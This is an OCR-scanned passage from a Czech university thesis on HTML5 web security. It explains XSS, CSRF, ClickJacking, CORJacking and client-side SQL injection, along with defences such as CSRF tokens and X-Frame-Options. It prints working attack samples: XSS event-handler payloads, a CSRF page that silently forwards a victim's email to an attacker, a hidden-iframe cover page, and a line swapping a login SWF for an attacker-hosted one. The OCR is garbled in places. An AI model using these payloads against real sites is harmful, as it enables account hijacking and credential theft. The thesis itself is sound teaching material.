zalozenou injektaz k odklonéni ptetrvavajiciho non-persistentniho utoku metodou XSS,
postaveného na tUpravé casti URL interpretujici se do stranky jako jeji soucast.
U technologie HTMLS se to tyka nasledujiciho popisu kli¢ovych prvki.
- Tagy - média (audio/video), canvas (getlmageData), menu, embed,
buttons/commands, Form control (keys)
- Vlastnosti — form, submit, autofocus, sandbox, manifest, rel a dalsi.
- Udalosti / objekty — navigace (_self), editovatelny obsah, drag-drop rozhrani,
metoda pushState (soucasti Windows.history) a dalsi.
Tyto prvky umoznuji vytvofit sadu variant XSS toki, které mohou obejit stdvajici XSS

filtry.
Media tagy

<video><source onerror="javascript:alert ('XSS')">

<video onerror="javascript:alert ('XSS')"><source>

___________________________________________________________________________________

<input autofocus onfocus="javascript:alert ('XSS')">
<select autofocus onfocus="javascript:alert ('XsSS')">
<textarea autofocus onfocus="javascript:alert ('XSS'")">

<keygen autofocus onfocus="javascript:alert ('XSS')">

<math href="javascript:alert ('XSS')">Klikni sem</math>

<math><maction actiontype="statusline#http://server"

xlink:href="javascript:alert ('XSS')">Klikni sem</maction></math>

<form id="test" /><button form="test"

formaction="javascript:alert ('XSS')">Test
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DOM based XSS souvisejici s HTMLS

Utoky zaloZené na metodé DOM based XSS za¢inaji byt v oblibenosti pouZiti na vzestupu.
Je to zplisobeno tim, Ze rozsahlé aplikace jsou postaveny na jediném DOM a XHR/Ajax
technologii spolu s technologii Web Messagingu. Nékolik HTMLS5 tagt a atributd je fizeno
ptfimo volanim DOM. Proto nevhodné implementované volani DOM jako je nebzpecné
vyhodnocovani pomoci eval() nebo document.*() bez Web Messagingu a Web Workeru
muze zpusobit ,.kombinované*“ metody utoku, kde mohou byt ob¢ technologie DOM a
pro uto¢niky. Velkou hrozbou je pouziti titokt typu DOM based XSS v HTMLS bézicich
aplikacich jako jsou widgety, mashupy, objekty atd., jelikoz by pak cely DOM byl

pro uto¢niky otevieny.

Specifikace prohlize¢li se méni ve tiech dimenzich — HTML5, DOM-Level 3 a XHR-
Level2, kde je kazda tizce svazana s ostatnima dvéma. Pfi vyvoji aplikaci je tedy nelze
od sebe oddélovat. HTMLS aplikace vyuzivaji DOM pro dynamicky se ménici obsah pies
XHR volani. Manipulace s objekty v dokumentu za pouziti dokumentového objektového
modelu (DOM) se provadi né€kolika rozdilnymi DOM based volanimi, kde Spatna
implementace (Spatné¢ napsany kod) umoznuje utok typu DOM based injection. Tyto
injektdze mohou vést k fadé moznych utokl a zranitelnosti jako DOM based XSS, obsah
extrakce z DOM, manipulace s proménnymi, logické obchazeni (bypasses), informacni
vycet atd. Ve stejném Casovém uUseku dokdze DOM nacist rizné objekty jako je Flash,
SilverLight, coZ je velmi zajimavé pro stanoveni bodll Utoku. Témito objekty je také
mozné napadnout cely DOM a to pomoci znalosti nékolika riznych typt utokt, jez jsou
soucasti mechanismu cross domain. DOM injection dovoluje vlozeni doplikti pro napadani

a jiné utoky souvisejici s prohlizeci.
3.1.2 Cross-Site Request Forgery

Cross Site Request Forgery je jedna z metod Utoku na webovou aplikaci nebo sluzbu
podvrzenim pozadavkl mezi riiznymi strankami. Zjednodusené feceno se jednéa o obycejné
odeslani HTTP pozadavku z jedné webové aplikace do druhé pod identitou napadené ob¢ti,
ktera by nikdy sama a védomé takové poZzadavky neodeslala. Pokud se jedné o vztah s XSS
(Cross-Site Scripting), tak v pfedchozi kapitole uvedené zranitelnosti zalozené na XSS,
zejména non-perzistentni (docasné) XSS, k moznostem provedeni utoku jiz predpokladaji,

Ze tyto obsahuji zranitelnosti typu CSRF.
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Dale je vhodné zdiraznit, ze valna vétSina webovych aplikaci trpi zranitelnostmi, o kterych
tato cast pojednava, tedy CSRF. Coz je zplsobeno predevsim malym povédomim o této
zranitelnosti, a také tim, Ze neni uplné jednoduché jakoukoliv webovou aplikaci zabezpecit
proti jejimu zneuZiti.

Popis CSRF utoku

Pro popis jakéhokoliv utoku je vhodné pouzit piiklad. Jednim ze zdkladnich ptedpokladi
CSRF utoku je znalost aplikace, na kterou bude samotny utok veden. Naptiklad uto¢nik ma
zZ jakéhokoliv diivodu v timyslu ¢ist ptichozi e-maily obéti. K tomuto ti¢elu mize poslouzit
fiktivni aplikace webového rozhrani pro praci s e-mailem. Nejjednodussim zptisobem jak
se prihlasit do e-mailového uctu obéti je znalost piihlasovaciho jména a hesla (k tomu by
uz ale nebylo potiebné provedeni jakéhokoliv utoku), anebo vyuzit funkcionality
pfesmérovani ptichozich e-maill na e-mailovou adresu uto¢nika. K tomu je ovSem
zapotiebi nejdiive prozkoumat zptisob komunikace pfi piesmérovani daného e-mailového
uctu. Fiktivni aplikace webového rozhrani pro praci s e-mailovymi zpravami toto provadi
POST pozadavkem smérovanym na adresu http://webmail-server/redirectEmail, ktery
V jednom ze svych parametr valueEmail pfedava e-mailovou adresu. Nyni uz je zapotiebi
pouze vytvofit odkaz, kterym by se mohl totozny pozadavek odeslat bez védomi obéti.
Napftiklad pouzitim techniky presmérovani pies stranku s formuldfem smétujicim
na cilovou adresu, tedy s nastavenim atributu method na post a action na cilovou adresu
http://webmail-server/redirectEmail. Zjednodusené je potieba vytvotit kopii ptvodniho
formulare, ktery mé na starost pfesmérovani piichozich e-mailt. Zdrojovy kod stranky

utocnikovaStranka.html by mohl vypadat nasledovné:
<!DOCTYPE html>
<html lang="cs"><head><meta charset="utf-8"></head>
<body onload="document.forms[0].submit ();">
<form action="http://webmail-server/redirectEmail™ method="post">
<input type="hidden" name="sessionId" value="">
<input type="hidden" name="valueEmail" value="utocnik@server">

</form>
</body>
</html>

Pokud bude obét’ v dobé pied nactenim utocnikovi stranky piihlasena ke svému webovému
mailu, nebo v ném ma nastaveno trvalé prihlaseni, potom webova aplikace pro praci
s e-mailovymi zpravami obét’ jednoznaéné identifikuje a pozadované piesmérovani v jeho

uctu nastavi. Nyni je jeSté potieba schovat pfipadnou hlasku webmailové aplikace, Ze


http://webmail-server/redirect
http://webmail-server/redirect
http://webmail-server/redirect
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pozadované piesmérovani bylo v porddku nastaveno. Pro uto¢nika je velmi zadouci, aby
celd jeho akce zlstala ukryta. Proto vytvofi jesté jednu stranku, do které tu ptivodni schova

pomoci tagu iframe.

i <!DOCTYPE html> i
i <html lang="cs"> '
' <head> '
| <meta charset="utf-8"> i
i <title>Ups.. nékde se né&co nepovedlo</title> i
! </head> !
' <body> '
| <p>P¥i naditani stranky do3lo k chybé&. Zkuste ji prosim nacist znovu =2

i <a href="http://webmail-server">ZDE</a><</p> i
' <iframe src="utocnikovaStranka.html" width="0" height="0"></iframe> '
' </body> '
i </html> i

Nakonec uz bude jen sta¢it odkaz na tuto stranku odeslat obéti. Podminkou celé akce je,
jak jiz bylo zmifovdno vyse, Ze obét musi byt pfihldSena ke svému e-mailovému uctu.
V opacném piipadé dojde k zamitnuti zpracovani pozadavku na doplnéni e-mailové adresy
uto¢nika pro preposilani ptichozi posty. S prichodem technologie HTMLS a zvySeni
bezpe¢nostnich mechanismii ve webovych prohlize¢ich zabrainujicich spousténi skripti
Vv iframech nebo nepovolujicich odeslani pozadavkd tento vySe popsany zplsob fungovat

nebude.

Dalsim castym cilem CSRF utokl stavaji ankety webovych stranek. K tomuto staci
utocnikovi pouze umistit na své nebo prolomené webové stranky skryty iframe, ktery bude
odesilat s kazdou navstévou takovych stranek hlas pro nékterou z voleb ankety. Soucasny
kontrolni mechanismus proti nemoznosti vicendsobného hlasovani je nastaven na kontrolu
IP adresy a zdznamem v souboru cookie. OvSem proti vySe uvedenému zpisobu CSRF

utoku selzou, jelikoz hlas ptijde vzdy z jiné adresy a od jiného uzivatele.

Dalsi tagy technologie HTMLS, kterymi je mozné nacist obsah z externich zdrojd, jsou
<audio src=...>, <video src=...>, <source src=...>, <img src=...>, <embed src=...> a
mnoho dalSich. Pokud by webmail umozZiioval prohlizeni zprav ve formatu HTML, tak je
mozné vyuzit tagu img pro nacteni obrazku v téle zpravy, ¢imz by odeslani pozadavku

na presmeérovani dorucené posty probehlo bez potiebné soucinnosti obéti.

___________________________________________________________________________________
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Kombinaci vysSe uvedenych postupli pro nutnost soucinnosti obéti pii kliknuti na odkaz

s obrazkem miiZe byt e-mail realn& rozesilany 28.3.2013%* ve znéni:

Odesilatel: Petruska <petruska@centrum.cz>

Pfedmét: Tvoje fotky

Text zpravy:

Ahoj,

nékdo si "pGjcil" par tvych fotek a umistil je s pomérné nevhodnym komentarem na svij trapnej blog:
http://www.seznann.eu/ae8470e56bc38140/fotka.jpg

Tvy jméno tam ale nastésti neuved| a navic tam ma fotky vic lidi, takZe se to docela ztratilo, ale jen pro
informaci ©

Dopady na tGspésné provedené CSRF utoky jsou pomérné rozdilné. Dle [20] zalezi na tom,
jakou roli obét’ predstavuje. Jedna-li se o bézného uzivatele, tak uspésny ttok miize ohrozit
»pouze*“ data koncového uzivatele a jeho pfidruzené funkce. Pokud je ovSem cilem
koncovy uzZivatelem, ktery ma pfid€leny ucet spravce, tak uUspéSny CSRF tutok miZze
ohrozit kompletné celou webovou aplikaci. Nejvice ohroZzenymi strankami jsou komunitni
weby (socialni sité, emaily) nebo webové stranky s vyssi finanéni hodnotou a s nimi
spojené Uty s prisluSnymi pfistupovymi pravy (banky, platebni servisni sluzby typu

paypal, maklétské firmy ad.).
Obrana proti CSRF utokiim

Jednim z nejudinnéjSich zptisobti ochrany proti utokim CSRF je pouziti tzv.
»podepsanych® formulaii formou synchronizac¢nich tokent. Tento token si na zaklad¢
vyzvy vytvoii aplikace ve form¢ nahodné vygenerované hodnoty, kterou ptipoji k aktualni
uzivatelské relaci. Jde o jedinecny, ¢asové omezeny ticket obsahujici kromé identifikatoru
uzivatele, také seznam cCinnosti pro kterou byl vystaven, ktery si aplikace ulozi
do databaze. Nasledné ho preda spole¢né s formulafem uzivatelovi v podobé skrytého pole
nebo fetézce v URL adrese. Po vyplnéni formuléfe uzivatelem a odeslanim na server spolu
s doru¢enym tokenem aplikace ovéri, jestli se tento pfijaty token shoduje s tim, ktery
pro daného uzivatele a konkrétni formuladf vygenerovala. Vyhodou této metody obrany je,
ze utocnik si nemtize dopfedu nechat serverem vygenerovat nebo jinak zjistit aktualné
platny token a tim padem nemuze ani doptfedu pfipravit odkaz na stranku s pfipravenym

faleSnym formuléafem.

#http:/www.novinky.cz/internet-a-pc/297493-pocitacovi-podvodnici-maji-novy-trik-jak-napalit-
uzivatele.html
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<!DOCTYPE html>
<html lang="cs"><head><meta charset="utf-8"></head>
<body onload="document.forms[0].submit ();">
<form action="http://webmail-server/redirectEmail" method="post">
<input type="hidden" name="sessionId" value="">

<input type="hidden" name="token"
value="SAKJDjk5dwoSFJK7s9vSPZVCDMnd365k==">

</form>
</body></html>

1
1
1
1
1
1
1
1
1
|
. <input type="hidden" name="valueEmail" value="utocnik@server">
:
1
1
1
1
1
1
1
1
1
|

Dalsimi dfivéjSimi zpusoby obrany, ale neufinnymi, byla napiiklad kontrola hodnoty
pozadavku v HTTP hlavicce referer nebo nové&ji Origin. HTTP hlavicka Origin ov§em
neobsahuje zadné proménné, diky ¢emuz nepiedstavuje potencionalni riziko. V obou
ptipadech se jedna o hlavi¢ku protokolu HTTP, kterou webovy prohlize¢ odesila spole¢né
s pozadavky na danou stranku obsahujici daje o URL ptedchozi webové stranky. HTTP
hlavicku referer jde nejen falSovat, ale také se miize n¢kde po cesté ztratit (proxy server),

nebo nemusi byt viibec odeslana. V takovych piipadech neni co kontrolovat.
Zranitelnosti CSRF souvisejici s HTML5

Vypnuti nebo obejiti bezpecnostnich politik (Same Origin Policy, zkratka SOP), ktera tidi
mezi doménové volani a umoziuji mezi doménové pfipojeni, ma za nasledek umoznéni
uto¢nikim provést CSRF utok. Pouzitim technologie XHR Level 2 na strankach
vytvofenych pomoci technologie HTMLS, kterou je mimo jiné i mozné€ zpracovavat
uploady soubori, mize byt ve spojeni s CORS opravdu vaznou hrozbou. Pomoci téchto
technologii totiz 1ze posilat synchronni pozadavky mezi jednotlivymi doménami. Tim
zavyuziti POST metody vytvoii XHR skryté spojeni, diky kterému muize dojit
k pifenastaveni atributu withCredentials na hodnotu true. Pokud se tak stane, umozni tim
moznost opakovaného ukladani cookies, kterym je ndsledné¢ mozné provést uspésny CSRF
utok. Vyse byla vzpomenuta moznost uploadovat soubor pomoci HTMLS5 a CORS, coz
pro utok typu CSRF znamend, Ze bez souhlasu nebo védomi obéti miize uto¢nik pomoci
jeho uctu nahrat jakykoliv soubor. Naptiklad mize zménit fotografii v profilu Facebooku

nebo Google+ uctu.

3.1.3 ClickJacking, Ul Redressing

ClickJacking jako jedna z metod utoku na webové aplikace, vznikla slozenim slov ,,click®
a ,,hijacking®, coz Ize volné ptelozit jako tnos kliku uzivatele. Jedna se o techniku utoku,

kdy se uto¢nik snazi donutit uzivatele kliknout na néjaky objekt umistény na webové


http://webmail-server/redirect
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strance pro spusténi akce bez jeho védomi. Danou akci je ve vétSiné ptipadi mysleno
propojeni stranky uto¢nika se strankou tieti strany. Nejdiive je tedy nutné presmérovat
uzivatele na stranku uto¢nika a poté ho piimét, aby provedl Gto¢nikem pozadovanou akci.
A to takovou, o které si bude myslet, Ze je divéryhodna s piedpokladanym obsahem a

nijak se nedozvi, Ze je podstréena uto¢nikem.
Popis ClickJacking utoku

Dle [21] existuji 4 zpisoby, kterymi Ize utok typu ClickJacking dosahnout (Michal
Zalewski zde pouziva pro dany typ Gtoku oznaceni UI redressing. Nicméné se jedna

0 totoznou techniku, pouze jinak pojmenovanou).

- Vlozenim stranky tfeti strany nad stranku utocnika pomoci tagu iframe
s nastavenou maximalni prihlednosti (CSS — atribut opacity). Utoénik vytvoii
V podstaté¢ neSkodnou stranku, na kterou bude uzivatel chtit urcité reagovat
kliknutim a pfes ni umisti prihledny ram s cilovou strankou, kterou chce

uzivatelovym kliknutim zneuzit. V ptipad¢ nasledujiciho ukazkového kodu takové

I3

stranky, se tla¢itko ,,Potvrzuji“, umisti na misto, které se bude piekryvat s prvkem

podstréené stranky.

<!DOCTYPE html>
<html lang="cs"><head><meta charset="utf-8">
<title>ClickJacking - opacity</title></head>
<body><style>
* {margin:0; padding:0}
#ramec {position:absolute; width:100%; height:760px; border:none;
filter:alpha (opacity=50); -moz-opacity:.5; opacity:.5;}
//V8echny prohlize¢e kromé IE: opacity 0 — neviditelny (zcela prihledny), 1 — plna viditelnost (neprihledny),
prohlize¢ IE nastavuje opacity pomoci -> filtr:alpha s rozmezim viditelnosti 0 (neviditelny) — 100 (plna
viditelnost)
</style>
<iframe id="ramec" src="http://podstrcena-stranka/"></iframe>
<h2 align="center">0Obsah strédnek je nepfistupny détem a mladistvym
osobam. Stiskem tlacitka potvrzujete, Ze je Vam vic nez 18 let?</hl>
<input type="button" wvalue="Potvrzuji"
style="position:absolute; left:650px; top:250px; z-index:-1">
</body>
</html>

- Vlozenim stranky tfeti strany do rdmce pokryvajici celou stranku, caste¢né
prekrytého neprihlednymi elementy jakymi jsou div nebo iframe umisténymi
nahote (kaskadové styly — vyssi hodnota z-indexu), mezi nimiz vznikne prihledné

misto pro jediné tlacitko spodni stranky.
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- Zménou piedchozi varianty, kde naopak je ze stranky tfeti strany vytvofen velmi
maly rdmec obsahujici pouze pozadované tlacitko, které je ndsledné vlozeno

do stranky uto¢nika na to spravné misto.

- Poslednim zplsobem je ukryti stranky tieti strany pod stranku utoc¢nika, kterou
utocnikovi zobrazi je na nckolik milisekund, tedy dobu potiebnou
pro predpokladany klik wuzivatele, na kterou uzivatel uz nestaci jakymkoliv

zpiisobem zareagovat.
Obrana proti ClickJacking utokiim

Vsechny utoky typu ClickJacking jsou zalozeny na vkladani stranek tfetich stran (cilovych
stranek) do ramu, takze k obran¢ by mélo stacit né¢jakym zpiisobem toto nacitani do ramu
zakazat. Nejstar$i metodou, kterou je mozné se branit proti utoku ClickJacking je Frame
Breaker. Tento kod se umisti do kazdé stranky, ktera by neméla byt pouzita v jakémkoliv
ramu. Vyhodou tohoto zpisobu zapisu je Sirokd podpora ze strany webovych prohliZeci,
zejména téch starSich, které nepodporuji nize uvedenou metodu X-Frame-Options. Tato
metoda ma bohuzel také nevyhodu v jeji nefunkénosti, pokud bude JavaScript v prohlizeci

zakazan. Nejdtive je nutné nastavit ID v elementu style.
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<script>if (self === top) {
var antiClickJacking =
document.getElementById ("antiClickJacking") ;
antiClickJacking.parentNode.removeChild (antiClickJacking) ;
} else {
top.location = self.location;

}
</script>

Nejpouzivangj$i metoda, kterd se pouziva pro blokaci nacitdni rdmi, se nazyva Frame
Busting (n¢kdy také Frame Killer). Tato metoda spociva ve vyuziti jednoduchého
JavaScriptového kodu, ktery se vlozi do kazdé stranky aplikace s tim, ze provede kontrolu
vrcholu hierarchie stranky DOM. V pfipad¢ zjiSténi, Ze tomu tak neni, provede piepsani
vlastnosti location dané stranky. Ta se oprosti od svdzani s rAmem a stane se novym
kotenovym dokumentem.

if (top.location != self.location)

{ top.location = self.location; }
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Pokud je nastréena stranka obéti ramovana pouze jednou strankou, tak metoda Frame
Busting funguje dobie. Pokud ale uto¢nik uzavie obét’ v jednom ramu uvniti druhého, pak
se piistup k vlastnosti parent.location stava bezpec¢nostni hrozbou. Proto se dle [22] zavadi

metoda Double Framing.

1
if (top.location != self.location)

1

1

1

{ parent.location = self.location; }

Dalsi metoda obrany vyuziva k obrané pted ClickJackingem hlavicky HTTP a nazyva se
X-Frame-Options. Pomoci HTTP hlavicky muze server webovému prohlizeéi sdélit, zda
ma nebo nema povolit nacteni stranky v ramu (frame nebo iframe). X-Frame-Options je

mozné pouzit s nékterou ze tii existujicich moznosti:

- DENY - zakaze jakékoliv strance nacteni do ramu.
- SAMEORIGIN — povoli nac¢teni do rdmu pouze strankdm ze stejné domény.

- ALLOW-FROM — umozni nastavit povolené zdroje.

Hlavicku X-Frame_options s moznostmi DENY/SAMEORIGIN podporuji webové
prohlizece: Chrome 4.1+, Firefox 3.6.9+, IE8+, Opera 10.50+ a Safari 4.0+. Moznost
ALLOW-FROM podporuje pouze Firefox 18.0+.

Zranitelnosti ClickJackingu souvisejici s HTML5

Vzhledem k ¢im dal vétSimu poctu uzivatell socialnich siti se stava v posledni dob¢ velmi
popularni. VétSina socidlnich siti totiz umoznuje nacitani stranek tfetich stran do ramcu.

CoZ znamena spoustu moznosti pro UspéSné zahdjeni titoku.

Diky technologii HTMLS dostal tag iframe novy atribut sandbox, jehoz prvoradou funkci
je chranit iframy pied spousténim nebezpecného kodu z externich zdroju (kapitola 2.7.2).
Zde je dilezité pouze poznamenat, Ze existuje n€kolik malo ptipadi, ve kterych je mozné,
utokem typu ClickJacking, zneuzit zranitelnosti technologiec HTMLS5 v tagu iframe
s vnofenym sandboxem jeho povolenim. Obecné lze fici, ze se diky HTMLS5 oteviraji nové
cesty pro dalSi zplsoby vedeni utokd pomoci techniky utoku ClickJacking. Nékteré
vyuzivaji JavaScript, kterym muze byt Gtok proveden sofistikovanéji nez proti t€m, které si
vystati s HTML. Nejvice se ale vyuzivaji vruznych kombinacich s dal§imi utoky.
Naptiklad s vyuzitim piedvyplnénych formulaii pomoci techniky CSRF (kapitola 3.1.2) a

dal$imi.
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3.14 CORJacking

CORS (Cross Origin Resource Sharing) a SOP (Same Origin Policy) hraji velmi
vyznamnou roli v ochran¢ COR (Cross Origin Resources) a kontrole piislusného HTTP
volani. Webové aplikace naspané pomoci specifikace technologie HTML5, Web 2.0 a
RIA® (Rich Internet Applications) pouzivaji rozdilné prostiedky pro soubory typu flash,
silverlight, video, audio a dal$i. Tyto prostiedky jsou nacitany v jejich vlastnim malém
objektovém prostoru definovaném konkrétnimi znackami a jsou pfistupné v DOM
(Document Object Model) s nimiz 1ze manipulovat. Pokud zménou zékladnich prostiedki
DOM za béhu aplikace dojde k nahrazeni cross origin/domain resource, tak dojde

ke splnéni podminek pro vznik titoku typu CORJacking.

Ukéazkovym piikladem mize byt Utok CORlJacking za vyuziti Flash technologie.
V nasledujici Casti stranky je navrzena ukazka kodu néjaké aplikace, kterd vyuziva
pro ptihlaseni uzivatele flash technologii s vlastnim pfihlaSovacim formulafem
integrovanym do stranky pomoci tagu object. Pokud by ovsem DOM volal prvek login.swf
pomoci podobného prvku z uto¢nikovy domény, tak to je praveé to co zptisobi utok formou
CORJackingu. Uzivatel si vtakovém pfipadé bude myslet, Ze nasledné¢ udaje
do prihlasovaciho formulafe vypliiuje na spravné strance a nebude mit ani tuseni, Ze je
pravé predal uto¢nikovi.

V nasledujicim kodu je zvyraznéna ¢ast tagem objectu, ktery je do webového prohlizece
nacten z ukdzkové stranky néjaké aplikace. Za predpokladu, Ze je stranka zaloZena na bazi

DOMu je mozné s touto hodnotou manipulovat. Proto pokud bude chtit Gto¢nik ziskat

vvvvv

2 RIA — webova aplikace s vlastnostmi grafické desktopové aplikace, vyzadujici pro sviij béh webovy
prohlize¢ s paginy typu Adobe Flash, Java, Microsoft Silverlight a dalsi.
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<!DOCTYPE html>
<html lang="cs">
<head>
<meta charset="utf-8">
<title>P¥ihlaSovaci stranka - néjakad aplikace</title>
</head>
<body>
<div align="center">
<div><h2>P¥ihlé&8eni do né&jaké aplikace</h2></div>
<div>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
id="login" width="100%" height="100%"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#
version=11,6,602,180">
<param name="allowScriptAccess" value="sameDomain" />
<param name="movie" value="login.swf" />
<param name="quality" value="high" />
<embed src="login.swf" width="60%" height="60%" quality="high"
name="login" align="middle" type="application/x-shockwave-

flash"
allowScriptAccess="sameDomain" loop="false"
pluginspage="http://www.adobe.com/go/getflashplayer">
</embed>
</object>
</center>
</div>
</div>
<script>

function dotaz (pom) {
x = window.location.search.substring(1l);
y = x.split("&")
for (i=0;i<y.length;i++) {
z = y[i]l.split("=");

if (z[0] == pom) {
return z[l].toString();
11}
var login = dotaz ("vstup")
if (login == "true") ({

// neco se provede
} else {
// neco se provede
eval (login) ;
}
</script>
</body></html>

S - | Konzole v | HTML €SS DOM | R | 8E&

ls vydistt Zachovat Profilovat | Vie ‘ Chyby Varovéni Informace Ladiciinformace |document.getElementsByNawe (' login').item(0).src
0 SyntaxError: identifier starts immediately after numeric literal
ALERT#20%20ahoj%20%20 10gin....0067421 (line 44, col 9)
*

=>> document.getElementsByName('login').iten({0).sxc
"http: //localhost/login. swf"

Spustit  Vydistit  Kopirovat  Historie &

Obrazek 1: Konzole prohlizece Firefox - CORJacking



UTB ve Zliné, Fakulta aplikované informatiky, 2013 93

V tomto navrhu kédu nema document.getElementsByName(*login™).item(0).src nastavenou
hodnotu jen pro ¢teni, ¢imz ji umoznuje ptifadit COR za béhu. Z toho divodu je mozné ji

vyuzit k vyméné za soubor login.swf ze stranek uto¢nika.

document.getElementsByName ('login') .item(0) .src = 'http://stranky-utocnika/

login.swf'

Obrana proti utokiim typu CORJacking je podobna obrané proti utokim typu ClickJacking
a to diky tomu, ze webové prohlizeCe umoznuji COR (Cross Origin Resource), tedy
vkladani stranek a soubori tfetich stran. Jako prevence pro obranu pred utoky CORJacking
je nutné zamykani tagu object pouzitim JavaScriptu, kontrolovat tok dat a vyhybat se

DOM based injection (injekcim zaloZzenym na DOM).

3.1.5 Client-side SQL injection

Technologie HTMLS5 umoziiuje podporu nativnich databazi, které jsou ptistupny pomoci
JavaScriptu pifimo ve webovém prohlizeci. Kromé jiz dfive uvedené technologii Web
Storage (kapitola 2.4), ktera nenabizi nic vic nez moznost uloZeni dat, nabizi HTMLS i
komplexng&jsi datové ulozisté ve formé dvou specifikaci — WebSQL a IndexedDB.
Zvlastnosti téchto dvou specifikaci je nejen jejich nekompatibilita, ale také rozdilna
podpora ze strany webovych prohlize¢u. Specifikaci WebSQL se rozhodli podpofit
Chrome, Safari a Opera a IndexedDB Firefox, Chrome a Internet Explorer.

Doposud byly utoky, zalozené na metodé¢ SQL injection, pouzivany vyhradné na strané
serveru. S t¢émito novymi funkcionalitami technologie HTMLS, zejména tim jak WebSQL
vyuziva SQLite relacni databdzi a IndexedDB objektovou databazi s indexaci dat, také
nové umoznuji pouziti tohoto typu ttoku i na stran¢ klienta (csSQLi — Client-side SQL
injection). Pokud je webova aplikace nachylna na zranitelnosti vyuzivajici Utoky typu
XSS, Cross-directory®® nebo DNS spoofing, pak nejenze je se automaticky stava
bezpecnostnim rizikem, ale umoziiuje uto¢nikovi provést napadeni uvedenych databazi
spolecné s kradezi v ni uloZenych dat a pfeneseni je skrz domény na pozadované misto.
Jako idedlni cil pro provedeni XSS utoku lze uvaZovat naptiklad internetové bankovnictvi

nebo rizné eshopy, které si do offline databaze ukladaji naptiklad poslednich 10 transakci.

% Cross-directory — ttoky zpiisobené tim, ze webova aplikace nespravné chrani cesty pro pristup k GloZisti,
kde rtizni uzivatelé sdileji jedno mistni uloziste.



UTB ve Zliné, Fakulta aplikované informatiky, 2013 94

3.2 Implementace aplikace obsahujici vybrané zranitelnosti a utoky

Webova aplikace demonstrujici zranitelnosti aplikacni bezpecnosti specifikaci technologie
HTMLS je napsana pomoci technologie HTMLS5 na strané klienta, obsahujici jazyk
HTMLS, kaskadové styly CSS3 a skriptovaci jazyk ECMAScript5 a skriptovaciho jazyku
ASP (Active Server Pages) spolecnosti Microsoft na strané serveru. Pro béh aplikace byla
pouzita internetova informacni sluzba spolecnosti Microsoft, standardné implementovana
Vv operacnich systémech Windows raznych verzi. Kompletni zdrojovy kod vsech soubort

je umistén v piiloze této diplomové prace.

3.2.1 Uzivatelské rozhrani

Prvnim logickym krokem pii vyvoji nové webové aplikace je jeji uzivatelské rozhrani
véetné vizualni podoby sestavajici z celkového rozvrzeni jednotlivych prvka. Architektura
vizualni podoby aplikace predurcuje, jaké dojmy z aplikace bude uzivatel mit pii jeho
prohlizeni. Pro tuto webovou aplikaci bylo pouzito prostfedi technologie HTMLS
sukdzkami vyuziti novych znacek, elementd a atributi sjednoduchym rozhranim
pro vizualizaci zranitelnosti aplikaéni bezpecnosti. UZivatelské rozhrani je slozeno
Z jednoduchych zalozek a k nim pfiinalezejici jednotlivé obsahy s popisem zranitelnosti a

instrukcemi pro spravné pouziti.

3.2.2 Struktura aplikace

Na zacatku vyvoje webové aplikace byla vytvofena struktura dokumentii, které budou
postupné pouzity jak pro definovani vlastniho obsahu a styld, tak i pro naslednou

implementaci zranitelnosti demonstrujici vybrané typy utokd.

Pro cely projekt byl vytvofen adresai HTMLS5AppSec, ve kterém byla vytvofena
pro umisténi soubord javascriptu slozka s nazvem ,,js*, pro umisténi kaskddovych stylt
slozka snazvem ,css“, proumisténi souborti obrazkti sloZzka snazvem ,,images®,
pro umisténi soubortt zranitelnosti slozky snéazvy ,clickjacking®, ,cssqli“ a

,webmessaging®.
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E HTML5AppSec
clickjacking
css
cssqli
images
js

webmessaging

Obrazek 2: Stromova adresaiova struktura webové aplikace

3.2.3 Uvodni strianka aplikace

Uvodni stranka webové aplikace je tvofena soubory psanymi pomoci VBscriptu
skriptovaciho jazyka ASP spole¢né s jazykem HTML5 s nazvem header.asp, index.asp a
footer.asp, umisténé v kofenové slozce aplikace, soubory kaskadového stylu CSS3
S nazvem template.css, style.css, normalize.css a i€9.css umisténé ve slozce oznacené ,,css*
a soubory javascriptu Ssnazvem framework.js, modernizrjs a html5shiv.js umisténé

ve slozce ,,js*.

Skriptovaci jazyk ASP spolecnosti Microsoft je pouzit napiiklad, mimo spousty jinych
funkcionalit, pro moznost omezeni psani stale stejnych ¢asti kodi. Diky tomuto jazyku je
lze napsat pouze jednou a pomoci funkce include vlozit do libovolné ¢asti jiné stranky.
Typickym piikladem pouziti této funkcionality je v zahlavi dokumentu s nazvem
header.asp. Tento soubor obsahuje deklaraci hlavicky dokumentu technologie HTMLS,
kde oproti piedchozim verzim sta¢i napsat: <!DOCTYPE html><html lang="cs">
nasledovany dalsi zjednodusenou deklaraci hlavicky <meta charset="utf-8">. Vypis celého

kodu je vzdy uveden v piiloze této prace.

Nejdulezitéjsim souborem tvodni stranky je ovSem index.asp, ktery obsahuje celou logiku

stranky vytvofené webové aplikace pouzitim prvka struktury a sémantiky dokumentu

vvvvvv

elementi reprezentujici jednotlivé casti dokumentu jako jsou header, nav, section, article a
footer (viz.Obrazek 3).
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<header>

<section>
<hl>
<article>

<article>

<footer>

Obrazek 3: Vzor struktury HTMLS dokumentu webové aplikace

V prvnich tfech zalozkach webové aplikace se nachédzi zpracované vybrané zranitelnosti,
kterymi pro demonstraci aplikacni bezpecnosti technologie HTMLS5 jsou ClickJacking,
Client-side SQL injection a Web Messaging s detailné popsanym postupem pro jejich

pouziti. Posledni ¢tvrtd zdloZka podava informace o samotné webové aplikaci.
HTMLS5 Application Security

HTMLS5 Application Security

Webovi aplikace jici vybrané zranit i pro aplikaéni by ¢ technologie HTMLS

Obrazek 4: HTML5 Application Security

Na vzhledu a funk¢nosti webové stranky se velkou mérou podili kaskadové styly ve své
tieti specifikaci. Tyto styly jsou ulozeny v souboru template.css, ktery kromé definice
zakladnich styl obsahuje importovany normalizaéni soubor normalize.css s definicemi
pro verze prohlizect, které CSS3 nepodporuji a Style.css obsahujici definice styla

pro zélozky a obsah webové aplikace.

vvvvvv

obsahuje funkce potifebné pro demonstraci vybranych zranitelnosti zobrazovanych touto

webovou aplikaci.
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V aplikaci pouzité soubory javascriptu s nazvem modernizr.js a html5shiv a soubor
kaskadovych styli s nazvem normalize.css jsou skriptové soubory tietich stran, jejichz
ukolem je umoznit vyiesit problémy s technologii HTMLS5 ve webovych prohlizecich,

které tento dosud viibec nemaji anebo maji ve velmi malé mife implementovanou.

- modernizr.js — skript feSici problém zobrazeni webovych stranek napsanych
technologii HTMLS5 ve webovych prohlizecich, zejména starSich, které tuto

technologii nepodporuji. Lince MIT & BSD.

